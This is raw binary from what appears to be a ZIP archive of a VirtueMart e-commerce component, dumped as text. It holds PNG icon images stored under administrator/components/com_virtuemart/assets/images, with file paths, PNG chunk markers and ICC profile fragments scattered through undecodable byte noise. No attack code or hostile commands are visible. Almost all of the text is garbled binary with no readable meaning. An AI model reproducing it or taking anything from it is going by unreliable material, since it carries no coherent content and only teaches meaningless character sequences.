pHYs  tIME 1(@8s|IDAT8}MkQs`Bp.p]l>JPicVvQbqъ3E&)… w9?fٚ9A";nϷW4M|>:brzJe fwAۉ "f  * :{{NӴߴ Qa,,Wj'[[5@58xBU1bfP5`9WE c6ff@n.'0l%M"՟+._p}P(r4vKkg΅kyv$k$w͌p)ZRkO?x5uc'sH{b7Wo  {~T*̌AX(AY.T>L6S7;0nz e1~P滊:y^> G7GӐBK(梹@ ` uF/瑚ZH|].R-⪰@@ i uZr;?AV#uU0P/ִm/|\j>X-Xܴ9xR1;遱(N,#<8oUotfrOGp,ŷ{12vl70p_(d_߾!f) y tڝz ,0SZ~b 1Rsc2 C Kv)tmPA,@ЩMmX@u].56ոoijL1`qV[U}BIENDB`PKxgDŨVadministrator/components/com_virtuemart/assets/images/icon_16/menu-icon16-products.pngPNG  IHDRabKGD pHYs  tIME  &1M}IDAT8˥kaHg&M[ӈL_QW>A n] *"XEDn|Ҧ QۈM 6I{g=p˄cziZ/_-p;kZx"@[[۶lkJx7ibYn߹+#cQQ(ժTʓre@ʀH<)FDq$""7o=22}NΜ>IuBuox@%ŮNz2Y~F~f(´,#8ǙhT(Iw!cC.G+e֨0DkmCv! c&&JlZT;K:V4g89DBkEС!%Df"7+4I#Wf5^KeZ E2 =.RO^Tٳ +--SzSH>lUXty>k }dqB!„[)|K`=] 0m=19בU`-PjieXZǘZ!33s~ՆYMO76]CV Z,gJVDB?|7Z㐍IENDB`PKxgD>Gxs]administrator/components/com_virtuemart/assets/images/icon_16/menu-icon16-shipmentmethods.pngsPNG  IHDRabKGD pHYs  tIME 9G[lIDAT8ŒMHTa{Mc3N PmDha"D-Jĝ- -6ZT."E6 . EQqB}c-}WXkXԭZ{UlmP(HR>iIf+b={w'T!C[&QCq|P-]޻o@\ {0+ :hNΡāl%g9`bؘER (u $CQۨDS6OF S,?z#vp9CbF#˼$ C"X@28pVq _ \tUQ5 ބItRǣ'ϋt4hi`x (Px<`;5~G_Tcj]]gfk!0§tvF\-ՈRֶL-Ն8ږ2o}|`Gqfhq<7_B,6/O?~`{KIENDB`PKxgDz=61Radministrator/components/com_virtuemart/assets/images/icon_16/menu-icon16-shop.png1PNG  IHDRabKGD pHYs  tIME 44)NvIDAT8}KhTw4I DibNS%ZQtQ+ڂ Q͢F %PԊ)Ee#!ァH89wP}v5_-6:!Z#{W2ouÛz`MDۭ/S˾?~>sQ?$=:ƥl.j"ƫsi5 bͲS8$1nٳ?#Mg[W`+agMiPM^P.U\Ѕjy{lfҵIĞwnX [ނ#FsW!$MwxX(JgH&7t\|g"wƀ.>壭L M`x|U[o]GN:JK)llW*߾4!{ c9A|1Xpd2-Xx" <͵kr, J3↣\4eď?p~Ν@K{c$v!k#h$!mIrcOHRA p a9H@n8`%$ o}U7JD({ ZP.KUSD{uDEk`hT"/&77V(fY2FQʞQZy =+ G:&IENDB`PKxgD#t2D?Vadministrator/components/com_virtuemart/assets/images/icon_16/menu-icon16-shoppers.png?PNG  IHDRabKGD pHYs  tIME 3#IDAT8͒=op7JhJ^$ IAj#L2 : 1'`bꂄ@| KP"@4UhbD!R;q*E2-tNuHd'3Kf¿7nk:.`zGw)D*3)iP*.T<"/\^5N 31>.>akƕscd#si(`R'ih$Y2l7qȉȀAOm>#[0: /g>8j Q v+A;:v*o_^X/8Bebf`zBnIX6/a' ޕފǥ; 9v{c*Kt]0 i$!\<|Q,( Xl6+zeԅ5M\o)NIENDB`PKhD>administrator/components/com_virtuemart/assets/images/icon_32/PKxgD6YytEadministrator/components/com_virtuemart/assets/images/icon_32/bin.pngtPNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxڬW]lTkڻ[XPl.Dۄ8$EiW*QE>DKU*G/Uۗ%C{Mzm]߽3LǍ4:{37s̅i'oq4#GSZ(zl(Gmt8͛Q_ͳOOy O7ڒ÷nllRw?(A9DB`^E6&6Zo} ~<=-OG45L$u]:xo`VӀā_t_3+0 .;l¢id~C(鋨vᅗ_շoB)ECu=o܈$qC'y*2 ;b}2?V@? /ߏv,.޾ǘz=[Zw`{#x/7~g>.|qF 0#L%y?55!$Dy`dWЎ?:t)f:>`PC۶e ܵbO6w#6wֶW]{*(ΩK8O]W+!xӗEa'1E'''e/xL1gMxBt~#G^p?Q-8vS,]2g%kkkPGхR3P( Á|>ttvum6ͺXR;/R)*VDC2F ǹQAg<cyl#[**+e04 f)$ K:0'%d,nY hgUBIyagn .:xBe@^\Vشc#wdP բ!@5E*3L ~pNmn:(0; E#Flĕ=O$(|4 ABhԖE6x3S+I1!"cYq%]hkE,Z w+++ uQihhfs0u jP?d|_ D>F’l\u╦)N@ll.Cwc2d=_ŅńnHo?="i&Jq2y[֘[ +so% hg7 suC%Y Bvʫ;[RpJ`fo4,\t6m,kuS(^yjD# O]?skXSvm/5Y j===|{Hdm} Ζ iN LJsjt:E{>EAO3樖l`?S*;cZ/wC|MeH[*JoCXp<@ZU)fFPVdQY@>N\YJ78t3IENDB`PKxgD}MZHadministrator/components/com_virtuemart/assets/images/icon_32/cancel.pngNPNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<SIDATxڔWklU>>iKZI*a|'Mc"'5!j5JH0P^ DYM`R`۲3ٝ}ingvy|{F@˿ﶎ0̔?[s/SeN|5Z.n4?:# `y0440u t|8轡L@W72W -Ӻt|n3PCNZ W$0N&6Pe m0:7l:l 0L]r/\>~"Q)-ϬIõ /`V?DWuCA\=_D)ϭ9O=7,r֐,ȱmZ)XC*!/rU:>{.hUï䁌cBAh :%Nԝ; t{fWiLztė: ӊSˬ<<ϗaRrO.Rr0|a|2L 5%ʑ ޥ}<kJc/yT85zw9J$b ؘNﻳk|0ͷDKaXa0&op$ ΣqMA9!]A(@4]%i$&◮ 1B 0rZݵ3=\)|<ޕ^آ!PE1@,0v5(֠cI$ӕןܡe@̄-ҋtHl- 6a Cw' \4pR1Ⱦ=^fɒ2 m{@&]NUHP=5 !Y!]M9Ho}SJpnCNJidHtt#gܵDJw,/UIaY>ge"RQf]'%Lb.c"#eҕӓ -KQïA5ɐ,.(JVV@6'1~7m1[@m磙m@p4}@b6 ;*6|Vֹ~-` zȭ_?UAD7=`Zu3@Aݸdbz&@kj)&v\7MK pE&Q wxK&Z*5.(?0zi$ꔣB@ΞgyXXi?PxX( u>T)Fqg b Ƚ Y vN"w~3mM"ǿcg\1rEa7I-v~ h2a]$lFN*ݪ]x)8rD0$uJN1ry#NCbΝYsx:A(idMڝѓgWP&ܖ\ nM5&ñ,lHC9##`:7=6ndAt55ZjSrNuC'`|my%hw{לnk:a^3'"(& $'GԭƔ?HJ9gU4+TG]$*kF3a_?P`~zq@50E"]0V?,,`IENDB`PKxgDNadministrator/components/com_virtuemart/assets/images/icon_32/deliverynote.png]PNG  IHDR szzsRGBbKGD pHYs^tIME  D "IDATXýM\YW{IO&36ܙYJTAuDݹԵ{G,DD!CPIH:XN'U{9.ޫJ';^/.;\G3<8w5nv}pz'h~ 8w=fy3`j<ٍ{ s51)j )۱cB !LJ,kZm>yFh>'xuLs5ff!G҈8àw{)ƒd sg^!#s8<*%#B/G{2/pN1Dix^9tٙ)<rEy_/q?\xnBEޞe07aif@UIhoA*DT M2^Y\z !kaj1F UEUjSİFjZ3%.zJ HjUa*595LIE >. wZ4o*>0BuҐǾ0LMt$RGC&% mRUnMM48: 4`!vKM MJ;e(޷H`MqMAS $!)=%)Sdlt|1Ur$J&*V:HRT"VTF/b$J榕{*haL SLUv1RU%*C-,);ztZ]]ʽN,&vc>1U{|G~ޖo7k}q~awN^UE4>`Qȃú-Ǩ#h`0-p;33t:U1iBeEIXjRAI,. }ܹ~ڗsM)u6/TV,)Rg~ʕ+ ziF9C=`7pdhO{b{{T}uҥH/ŨUe-HUUTUp4;{Gl/] rqTe7}.ܙOaYm(˲gȦ)%s$B=v[o}wkknw_%0ނG1""vjmͭ:uݻw 4`fvvߋcUQFO~zcc {'8SkxkssS13'IENDB`PKxgD}}Qadministrator/components/com_virtuemart/assets/images/icon_32/deliverynotenew.png}PNG  IHDR szzbKGDC pHYs^tIME %- IDATXíOl\W7olOlb;vNJLꢕ 6K*6 ZH,+lHE"H]F $$PB"XmPvɌt=xoƓq\+]͝+{|;i'z.9sxSx=ì>h鱍7{=̌QǏs1sfC{FqyU(p5_=>Q{È yшhpU{%H(=wqinLx/+#33,]=81H&'˕r|qglK /' FáqNa}_oAEUTh&1ic^IZI&Iegf SS8> p(u Iz U%" $HJ@5 qR_A͊UCsQ$!eAYjz#0 g]`e:1VƨNoT@^lNQp5#3s,-NZ*xnπ*@뜯ͧ iswm׏OWn'<=3vm2H0TʊLA2J,Jdz3,K,_Vs )>r#G#4'J( MU7^}W^i@sٜyֶFB\!nG;^YYym0CՄq|*C(#EN^ I .Jǟ`\]i]ee|Uq0jxqYY3o4-Gvx=VzʧVDLdIENDB`PKxgD>(NFadministrator/components/com_virtuemart/assets/images/icon_32/disk.pngPNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxW]hE>3{֒> *BA! dQ4V#ƿO>|B#"y)K hQ i4x37$anvwo9sVyz ~R87Wk9o"P5$*ax{fv| ?䥨Ͻ39u o"w>d;OE>Ribi>\qfxSts^2T~{60?n籬%(ʖRg'}KN3]+uϚSrV,`6[ZOm&`!xxZ`#h`, PYz|x!`i t]t{*oOg !571IM |8yB(Y`͘PԄ*6ZՒ:Zr|oHP$^NF2[T$WQ4g {^'x YWOxƞ[&[}%V XaAёcpjȱɗ@Ot&AE**WCDc c`S0`F%x&($g?@E-&u-,*o<_\ )iUT$%ct+0} z>UcSC?x~<;%(/koERxjtDX`*BX P+k`kv~@\/tZXԴmU0Dߊs_F5bgtiK- V h (% `G[vF% Qihy 5Zbxl0I%:{jU;DSW4tpHEAz`H~y>=K%~nn E^гa (TBucU%hVr3܊we//|NNra|CS$[CU%NUG3Lg[ؕfUZkfdy Q2 utPVf—W®)9Rqnj,Vc!]<@m߃yYN@T-\ƳHnv'Ei5JsIENDB`PKxgDWJadministrator/components/com_virtuemart/assets/images/icon_32/elements.pngwPNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<*IDATxڬWYlTUΝ.(AC-t AiP+7 7%hb41Ay3ԀI,$ t@Nۙ;әnNgr;D[ᘯ=#<k9ug:(>(*|[(-.dl qo n~g!i k͛h\_{p(@);欜Éڻtu?CU#0O9*VyZMK.*XTF&p}`c*06mGW½:d>pu+H"AVRn!*_yGRVH~4$t֥AZTp(g$~z HЖ.-}plXد0w"@gC)`?lIENDB`PKxgDMnNIMadministrator/components/com_virtuemart/assets/images/icon_32/elements_16.pngIPNG  IHDRatEXtSoftwareAdobe ImageReadyqe<IDATxtoU3s=c 6EJ&j+(R-EjXa+X&5  5RS5}$M 츶u9'H39|kyF~̻E/13 PJnwVAD1u:$f aCد*_f;zVkHPc>)nZg,~0u\jd&YPRׅz@vWՠ{utsW]e=ϛH2bn?8lh851𻇸N۟Z[=Y~ p*DQHJHYg?*Ga%t$%{;wtVQ'Н0`B:y> ŗ-5k&G*0OG7=O9SȾeo*z5 QD '럐.M L3G{vNqb*CK?i$4< ++=v5xbbLtSX p_ خFGʲGfil ><ޠ+PqoJSDC&io>c$cFY~!b φt:{{fK"Kt]Ip"-J@/Si݌n+{3~JFP,TV$زm Xia[dƁ6^ '8Y_LQk 0C*YmIENDB`PKxgDRZMadministrator/components/com_virtuemart/assets/images/icon_32/exclamation.png&PNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<{IDATxڜW]lWk{7kg؉cC(NR&E @KR"*x/< # ⣃ga@ש[yboٰ4I@1q+Y,~:BW&~D^>:M *LDn.Rb2=LJK+ A9B[HFz@t:=N'(a/D9 .5Q.=?q׋\!׮, 06]d@R5ChdBK!$1)&ӫ*gY7p9$` @#{z3UKsUܖ!+-g PSmKTetpRؓy3hJB 8Ybuʣ:tDS)lvr}aי$UM bN%Sb-?BL_E6u"u{X0obrQݵd[y^9bƈ6-@mqe 4U%ip5l ",(J5Q #k XX<ÿҝ(7?B ~ Z˾wx̪hz{yE)+%cqP蚰꺁9z[a=< (>ɏn-tn5@:$_iRsH3/z%4d uDIЈ0 Wo9Ǻ@F2֊9J18^B'zʩ6Hm3nB݃kא ˷o$3ˬ[XZˋ3HF(`%jWvVQɪz6+#og:Y]|v*CβAH\lŦduZ|m <׎o"EH+So2.*u4`@#"xru0~Z,B[Fdo+҂(hHzNi4B\nڒ#9cCcA[JH]X;mfS/ izwԻaNXE)  oyhjhp}}T w R*..g#k|`4d=(e{1=a\$W?f+aBBDs'lEW2\L(Dh޺Ep:BS3ROL>1+4zӊ۹LJ\S&UŽdQ|\Mxal!W{}OqBe*k*j6uϳ֩u".$}-+3u@LIENDB`PKxgD"kxsNadministrator/components/com_virtuemart/assets/images/icon_32/icon-32-lock.pngsPNG  IHDR @LPHPLTEŻkkkuts{{{fff~ȴtRNS@fIDATx^n0CCM,i;#Ox@*Mģ$( )~ iey}k9-U3*:!R񎾤E&l~u'b+&`TGP=-wd/ݖ:.DHB=bmM%.Za@к欓Iv$m&Irt$FiF'% $x)rz^WM64,kN{^\.o/WNQ1AM`0?h%`Z ?c=R`OMӸ"G/.>LyHPTO>88q0 >-L,N( F|a I9Q:eDX=kJ)uƈ[Ot‍q{l>&IENDB`PKxgDN$grmNadministrator/components/com_virtuemart/assets/images/icon_32/icon-32-save.pngmPNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxWMHTQ>/!ctS#-+TQ79;$7SPsS Aw %Pk#R!Qpr;''n;yo~lfpӁû{w9&Kt8---QMM iἯIx<1??OCۋyϧ&2__;NE^u||_1Raa!ҏa872pTT2nRSSXܤU]UHm6hll>JJJ"ժZ,NNNRnn.Ai0 #81 SDuvv2X.WH*ҁ%Fr)ȩR<'OtT#PVVQhG (9Ju8 twwwtp%}yy9G-+Iyo$3_)B&2W { nL8QCrVQQA Y,[-*I+S y򽶶3sV XNc+Q8==}V${J9h#bdʢϞ'Ovr,r6=WA^G{{IK.lCh8PДftL7L>\Qqf3E*=\S } G"ZWlҮn Kͦ!n.K wNNI uttX.P <"^=A5X7͛rk*%/6.p8TEPPUiׯ^<|L&Qvv6effEFFzd\\RďW pBJ|&PH- A&&&G4&K"⌃ʒWV`j@JMB(J mhH`Nᕡo60Q 5Ss&TIENDB`PKxgDHadministrator/components/com_virtuemart/assets/images/icon_32/index.htmlPKxgD(]E@Madministrator/components/com_virtuemart/assets/images/icon_32/information.png@PNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxڜWmpT~&lB1| VacGRpTP~(R3gv:SeZ ũN @DA&!&ٻٽ=ݸ,rgN=9=9 S+ES(ϛֲ=! d{'k?kLwU]yRh aEs.UaX0MiaVP#jZt;/NyC3. x=-k! 1k" Fr8yq?׍Ъ 5 *3q8.Ob"Î{Jڛpok-, =CqTF"'P+v|-@CIo_@|:U ɂ[hXU膉 {:Q_ž>O#o>R Bןzl}=o׏}ǯV."CO>Ys) t(6EW$$tKu1Kw;;aYXGp(*V dOgt ZDc,9@Ƨ1LY-ZNuw'f˭jO? ,oPp>ca yӎطg5~H3^{쀊Lx0 ʿjdR>RΧ;wchLÿΏRVw|7^ qĦhk }erN9잎z6~ 5|>Ewm^TY?{&#GOcy JHG6dO۶=6Ł$n{x3/Z/yuqk'8ÑHK6E]mea qYj*}2N]"zQH%Ja 0E%Z~-Gkc>1˿~ cn֭#C: o02h<%~,I "%H^,$Tz1L!P9i}l4Bbt h NYIbZ4%n߄yI1̥6H|6pj9ͦAIO|Qe.^u1}n-83ng|>F/$5 6w!I*dΞTzI8oYgH$4L?C6ٶ#8ٚK\|F+ڙR}~G.ŨBl|rο{%f5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxD  Vf4 888 sbܽ{nuuu1ٳa^|O | \ /_d C ,,,, \  L,L *E,;N@C4647Dܚ%1$lĂG@Aƙ3y>ɲ Y%HQ4M0 "۶E3#⽧*Q=4ufycf8!+ꜣm[s Ás5MSʲdL3N7$c(cDl(-[f(\[rn 8T;gH ς[޹g\Y,lu󆈠8X.l6x8~Ag2 F*1<ϋjQ5U595ZD~OdY p$kaE{TT%{q$ zNUUaHQ|}y˃ $vvJQf9iI9 ZP.%pDj=2U4KCh3?~j6na7,[egUMmC(ǐۏBA(s*%PrIIvӮCXVK<7$Fzψ|>_2i2EY} ReY+ГREs)%j:j5NOOy`b[LU$d2m:j[<Ladministrator/components/com_virtuemart/assets/images/icon_32/invoicenew.png>PNG  IHDR {X pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FiIDATxD  JJ@Vf4 sbؽ{ӧO>_f7 C1|ϟ >>> 0G>0˗ xm `ĠWjڱ4̱mP觠D] RVimL@k#Y QIA"`. pNӶC4aE@u,˒"B>MDZz g],80 tZ UYFUQUT$w`iBDC$}.^qcu0 PP qa a au0^WAUx$,$p'LRi{~"q7yb CV9ZRQ\.M&q<Zzjnքwxx6,0ưlcHpq 8$u]&a]ަv b} @DNKqﯘˑWTzhq-燨TeYEaҨtFg{.[~ІUTE*p8SZ!RlPdըw_*ʟ'({߽<.fP5&4ƎKG@>RYnʒ60myKp׷}ޱXxifI̜9j8 ~+++iR*I튵Y`4h4ݣ^Gs||)iB)EXdiiZ֚(pQ(4܄FDj7! @<*h$'''9hqqr @WWy_ۇ"Zk$e*{ 5jDj/{֚]krcE):9WZfQql6QJˏ("t: .D/Ay‰-zA+x_^XO3~1Eh(H]fo T2u3sE?j1$IXXX uff:B.SaH ;n?%_0 T*P ?Neue{*Y ±J>Z44˧sCh>lZ۸0ܙ|ӝAԕp?pC]@Wn_MꢋBq](Ԇ-$Tn#ْ,Y3;v!`Y=gF)I)]/}t]:A,M>}HWtCDI) p)%\eX[[~y'B@^G)EXh0}m籵h4Ҹs'Ǐm9 \۶sod Pl7~#2MsJk%Yœ|B!<j 3qa4MY\\d~~(4g3 55:g!`<׶a ǰ@Ldee%a&_<,-vBJɈ$M,ao.ަX+~u_|le>|!~XZZb80 Pi^0xǫ%q)[:tӐnU8׍GV62ŕJ%*J>ZK84I8{} 4Qѯ|^.)utttjW1)0\G/N{Bg SkhB[F*7b| \_~4urV.YIENDB`PKxgDsHadministrator/components/com_virtuemart/assets/images/icon_32/notice.pngPNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxڜW]lg~OǎY4Y7- ZˤZU.]P4!` !q1.@Ƅ@.ҶСR\mF6i8qq~qωYT'y=?9>^ƠS*sRX,~ u"^I䯦sx;|/.vg8! lb*e֖J4iN/; PGw׏<5&$QjO*$OkJ4*wFѰ~߬n?]C=?Fy Id|r|1=l ;O |#ЂQL5`~6ҩgg#=3z?('|6Y U|:(oױR,<hP>>2pяr \ 5VuĪs6@rHN˱(3 z C)aEdr7$%8ޭrȒ\**uzb`/!~[K55_94}?"ZO|P+ӪyZQ)!Y }_JbY3}Wpf*E5Q8 ~utxm^pacEV '}Q]pGt S,E~W蠢+࿍isյkU{>"::j/}* 2 T 9QNQY4۫wq̘8|xT_| t[<Iz Er~K;8i_q2֎~h@E}u3KC$D z!4sys{Z$\0J.]FX7RNBTpSw ,M3E6?GY1dt"6TYc sr%%fhs{U7I, N4(ZUA4)Z]jU"C=Lzle<jQc;pjزyζ^shX@P=Co1!u?Bs_:Hջe[ ULE=N)cJr%Lcz[(')hߕȾ68E1@KP<)T gDb?#dU7-H-܂1/LnPx⅕y)o'w4 =S}3ocv;Cw)TW S(*~<J7rBN":GlWqpJ$R/I#y^Ѓ7lrf4gղ9T4Q3ڪ>;,)sյzU4_' 9;rjdݵL-rcnQqn6[fvSH?LFz> v՗̬XkїXG2W uvq'br:aɀilf寓[ ۷a!1&ɓ>G3$= <>:w# n+=Oz̶o*+)=[bÐHU+v;!YkRn.)P\3SPyՍYuW]r56VnJzQ¯'%Hn!F^v,/?T 9a c{G~<ĝ 7E[ol8 pL2發5ӋsOycmYrx_fo:qruGZNz:_c s杅_LO' ߹iV9@ȹJ6.uRiyyAwZ?N %ҎLᚽx-IENDB`PKxgDЮ1|wIadministrator/components/com_virtuemart/assets/images/icon_32/printer.pngwPNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxڬWkW͝;dM֏Vni m.E|i|,@Ŷ?`A|h!Ԣ%}ҠƆJ%YS|~9wLݸff=p3skȓ_pZa l!jڙ'IQQ `]]$CzlEQr;xL 6 4k+ORs@Ś/=PVlҷy;ب#DnItt[=)ekhX`]3KWWkaDy"'5F955u=<)hiA:مʹZF1CvO0Vm O%y ~ Bv?[(zKA m{]T&h6xU(nyށ^FwG^R&rj4bp"V X?`[WVV&U -9Mn ]okؽm|\NGȈg@=v=g{zy(ǧ`hG= +pqZz> &Կ}6K脹6s7 (ԈOr.2 w%R!񥥾NRto܋+4%9Fx L7!Q8=,@d#XiO^c#Z jOY{'֬=K\ Fddx&"V_Ka3zQX6c>n)ϵ9?>N Sf*0X܇P ]Jmƚkd@l+ S%21A SR_űNM^9kxhHdYL4 85~E]aߘr#&*\|%-Sr'e9X=#W$#Hw֤ndl*8%P=؎CCG1 gh'4NP[ܮ+nI2M9 e5(ì)l{C &B5'N#jjiyV"R?nSydzFM@?A;t <6y+UhQ'Ȋɪt Y^W.:%AX0CǛء!Gxo9[)M9]ơY'i|`Bd@e62RQޫ 6EDlh|">v?ᑧ!3͎wN_QׂF_Zܯ<ښ|}cvz*\# ٤xo<b/z[ >iHK}tgw_CFNy߂B` 8${`g? K BCtxw1Ύg2w8 .D sa5m{gv]F^\DG{UnhwMLMlNph/f:7`ƨIIݩEwPm8RpS0y7zU՝ph7yDRO;Ծjp Hq? I,)):KIq-JK%pĘjZ4I-4͙Ĝ0@^L;8t^xʔ~"}W]KY)˻%߻1|yAyMÅvlޠ;+ٌye!dU%g%U[[6|d@昘D =BИ״u  p5q˃WNþTAzeb/&((}Lu~Sx{-$F캆AOKCͭ ;a@_4dMR*ף{1Ь⌤,hO@m\~`aFjIjT [gȭ!Z'?cg3dCjÙ!ӁI#l+-19$7{ONC 黆Ee;b| V$7e. )v6 ~31OvUl4 Wч#|L@~tּز@8ZPnϕˬB` FL˫siJv؏{9#Y7*JHnb=kj!aҸ!˶w[%?H#{ش@_$ـ^Űh7 \""r؟Y'M[n m]!s\r&Xuڡm:vq;u8%T˴5d 5#|ԹyU\xp*A?Zܘ[plMo9f %]G0ΠBL Aƾ]Ւ6K c~j+*6A-m#"_9^&x^P3G O|īӢLW)T@h&BH*+1E _BS&ǥb#L}Hh:eTs`t7 A ?6`S&:Yyqͱ<bzk Aؑ #ߡ!Eہ ":kud=MDJ c~t(u@iϭIsgđUN"<4^J&2'sըPYᔕWT{yuw%o¿yR(\/V-C6-KZ_ϝ!h<X;Uȏx`F{|3Z;Mԃ,iHG,{d鉙adbmIO!Q=~|!:g2DMq#=L IWW¤W0y}wu豕44;/ doH9'P ȹ>FR/s 4o(!~NK:_,rȽ! ٪3t6e~  1Byu]/桞=8)WW|!<stmSBQaqyaMvysz٨/JViַrU7W؟o?| ;<F'O81˪FHN\9 uvƮl咚+Gha* `$Y:dδLI%@2Dtgj=ն1nj 3l@nlkblAe~ܶ^| nVN'vܔQ|_ iF5EܝF{oAC 6-!$4ĉ!ylK_ҧ3B1!(R&;{?e(Z"A?vg|G7j(AlMs9j*aFb~%](ib &sf@GAG7.ȥ΁X8qt%ƾqbWÿ@Ld֢6h"ňvCyPUb@00ifoWn"pDO|VA4PsA!ɋC¹@ݠ'a*iGK[:,vun5DV 4x@gn˳J&PøCz&Ękl$LzL`IAZg,<g5GuMLjMU%eg>(rbE]IJyClǼ66H08Ύ½zȭƢI4R"kHfjpCDY%`[Po2*44w%%OJ86 T8\ %am,;1WG'q]/ `{o4VP&qy]h ,WyK .h$8ܮ GjMQHڸqn/;L?9. S<(TZ0AL>c  C>e}Sh*UK>݌TξLy^Rh$*ulnh{RZ,*]t᭍=`2;70OpJ7Q|F<#bi凸v ..]2Jձ}4Ȼ< U[OnP#8dذ؝dxhaٰd—[L1i+gk_#?R)󆀘[Q{UWԥ#-X\lD O@?ŏ--_%N|3`?5 ŧo/;[u}N8GAhEW>*U>el+gz\>u!e1?oֿ6t-!@VMI0o_U#.͍:M~9c OcH1~ #˲]D"5p {b*xr">TY'x89/_`t3tZsZE3?HA~SڣOAُd4Ĭ*@Kxf官BHF7!.`<<*[W6ﰤ̬a}=K^6CҀ Yq=WS@=]>\9"S?q!iU}ݞ4[G G _<v~Q v_ah0!(`&w L+gBv xr[}݇* T]`!QMSjK) kBp$C6pyuLg`ɮ FYQ `{1'pd''Ҝt;KvNmɊ ݏYAvy g-ӡϋORϋ"׾@|Q>^D߄fOj۽4_4lS쎈۽6t0W#D=_ܼ|+=7y▕wɢ9|y^[XTD ~|"CJEٯE#H|a2gN@ƩHZh{Ps9)c+ 8R^UA*:; *++c) Dp5eT}±(G%t?Ovp1 9Eb"2sSmfOk~{y ]mAӂ5|,L[[VnV~bPj*G7 RDc f&+MZ δ o:07H : OA^-NS],,"7EHVM x}fJ 'ꑐۖ"pW+'Ϣ1<.P\9ٌf`oZS9 =YWቋqL0ՆݙE>=wKJvAMU 6 !|ZߡxG|w1x;j5EUPonѶ Wgփ0"Vdm^>A4=s 9ZswnpG$y3dAR?2"}ܡ9%;>s\mVq6)'xpowjp 8 y\r[\?Bwa!a"019gg\Fׁ :- xDi.=mح?ʹ"6y_NRHz?5 f ._  4Px-/v̆!PK@4)ʦ)22Ǜ1r2wC>W>#S鯄z!vi{r7)CzȪ?#HijW31 eQMԢgG'ձLPQYs;sgv /hu0| uM}wqyND'vUF=~v, rʆ?ɀ}'*Ǻ P&p>J h3ȷ$rOx;oZ4M͈roa}()CZa)sjDZ- zϯ 6/8R2`)WDJn8$۬(Ag)7\!%ȸZ0&neC·+~gn7|Ňm_pf_ 9aN_X6W+p]M hLtZCѐ  UQ o](-6w038" 4 lZȬ,U(#;kJ`QLH'RRVvdAM)-o õ/D9c^AC 6ǔny^o{iNmR2wP"QKo?^\E1il]+kTsv"3V]zZ>.qYSL 9|(6`VŅ)Ğg8J]olݸe|jTl EFB1;Gz%LɅ>^r"}}w~< I)\ <fHNsp+4iY{yį3;Lv{*)x"$w*!ݢ)u繏m n9? ژV_UO>poH@fa\mjJ@9aO,pb'l;:^K1;H d=y?cNHYrp јVNix#zJZpĺeΟ@VqG~~azBY Q#m>3fn(ƛXJ<9]ZY0*K?4,yRi/DaIc쿅~K,^%g zy2M5+olDNh<{PZCb5Ph0>j3Dח\aMl|_^Z[%5O 